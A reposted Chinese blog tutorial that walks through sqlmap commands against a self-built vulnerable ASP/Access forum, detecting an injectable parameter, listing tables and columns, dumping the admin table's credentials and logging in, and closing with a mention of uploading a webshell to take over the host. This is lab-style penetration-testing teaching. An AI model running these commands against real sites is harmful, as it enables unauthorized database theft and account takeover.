【转】Python渗透测试工具:sqlmap

【转】:https://www.xdbcb8.com/archives/896.html

 

Python中的sqlmap是一种开放源码渗透测试工具,可自动检测、利用SQL注入漏洞和接管数据库服务器的过程。

它配备了一个强大的检测引擎,适用于许多渗透测试的特色功能,以及从数据库特征识别,从数据库获取数据到访问底层文件系统以及在操作系统上执行命令。

官方网站:

 automatic SQL injection and database takeover tool

 sqlmap常见疑问:

 sqlmapproject/sqlmap

 下面通过一个例子来进行讲解。

安装方式:

pip install sqlmap

 是否支持Python3:

$ python sqlmap.py  -h
[CRITICAL] incompatible Python version detected ('3.5.2'). For successfully runn
ing sqlmap you'll have to use version 2.6 or 2.7 (visit 'http://www.python.org/d
ownload/')

测试环境:

本地搭建的具有sql注入点的网站 

需要自己搭建一个有漏洞的测试网站,如果你没有合适的测试网站,可以关注微信公众号:学点编程吧获取。

该网站是由asp+access数据库编写的简易BBS,仅供测试使用。运行后的效果如下:

好了,有了具体的测试网站,接下来就开始我们渗透测试了。

注意:sqlmap只是用来检测和利用sql注入点的,并不能扫描出网站有哪些漏洞,使用前请先使用扫描工具扫出sql注入点。

检测注入点是否可用

这里我们首先要进入sqlmap.py所在目录,默认应该在目录:

C:\Python27\Lib\site-packages\sqlmapC:\Python27\Lib\site-packages\sqlmap>python sqlmap.py -u "http://10.20.226.238:58031/bbs/show.asp?id=351"

参数:

-u:指定注入点url

结果:

其中:

[11:09:43] [INFO] heuristic (basic) test shows that GET parameter ‘id’ might be

injectable (possible DBMS: ‘Microsoft Access’)

[11:09:43] [INFO] heuristic (XSS) test shows that GET parameter ‘id’ might be vu

lnerable to cross-site scripting attacks

上述信息我们可以知道这个url可能存在注入漏洞、跨站脚本攻击

it looks like the back-end DBMS is ‘Microsoft Access’. Do you want to skip test payloads specific for other DBMSes? [Y/n]

它后端DBMS看起来像是“Microsoft Access”。 是否要跳过特定于其他DBMS的测试有效内容[Y/n] 。

这里我们选择Y。后面有几个仍然需要我们选择的,我们都选Y。最后给我们一个检测结果。

注入结果展示:

(1)注入参数id为GET注入,注入类型:boolean-based blind

(2)数据库类型为:Microsoft Access

其中有若干询问语句,需要用户输入[Y/N],如果你懒得输入或者不懂怎么输入可以让程序自动输入,只需添加一个参数即可,命令如下:

C:\Python27\Lib\site-packages\sqlmap>python sqlmap.py -u "http://10.20.226.238:58031/bbs/show.asp?id=351" --batch

结果如下:

猜测表名

一条命令即可曝出该表名,命令如下:

C:\Python27\Lib\site-packages\sqlmap>python sqlmap.py -u "http://10.20.226.238:58031/bbs/show.asp?id=351" --tables

 参数:

—tables:tables前面有两条杠,请看清楚。

结果:

do you want to use common table existence check? [Y/n/q]

是否要使用公共表存在检查存在? 输入”Y”

please enter number of threads? [Enter for 1 (current)] 请输入线程数? [输入 1 (当前)]

然后要你输入线程数,这里输入10,线程数不能输入过大,否则会提示错误。

然后通过猜测我们得到了相应的表名:admin、bbs

结果:

猜测表中的列名

知道了数据库中表的名称,admin、bbs,一般情况下,用户名和密码是存储在admin表中的,所以我们使用sqlmap猜测admin表中的列名

C:\Python27\Lib\site-packages\sqlmap>python sqlmap.py -u "http://10.20.226.238:58031/bbs/show.asp?id=351" --column -T "admin"

结果:

我们可以看到admin表中存在username和userpass这两个字段,那么只要猜测出该列中的内容就能得到admin的登录用户名和密码了。

猜测列中的内容

C:\Python27\Lib\site-packages\sqlmap>python sqlmap.py -u "http://10.20.226.238:58031/bbs/show.asp?id=351" --dump -T "admin" -C "username"

结果:

我们看到用户名和密码分别是:admin/12345等等,我用admin和12345,来测试看看。

验证结果

结果是验证成功的,测试结果如下:

总结

这只是一个模拟测试,通过sqlmap破解网站的用户名和密码,当然后面你可以通过上传webshell等等手段,拿到主机的控制权限,这是后话,最后放一个全部的操作记录动画。

 

posted @ 2020-03-28 17:11  Monogem  阅读(1360)  评论(0编辑  收藏  举报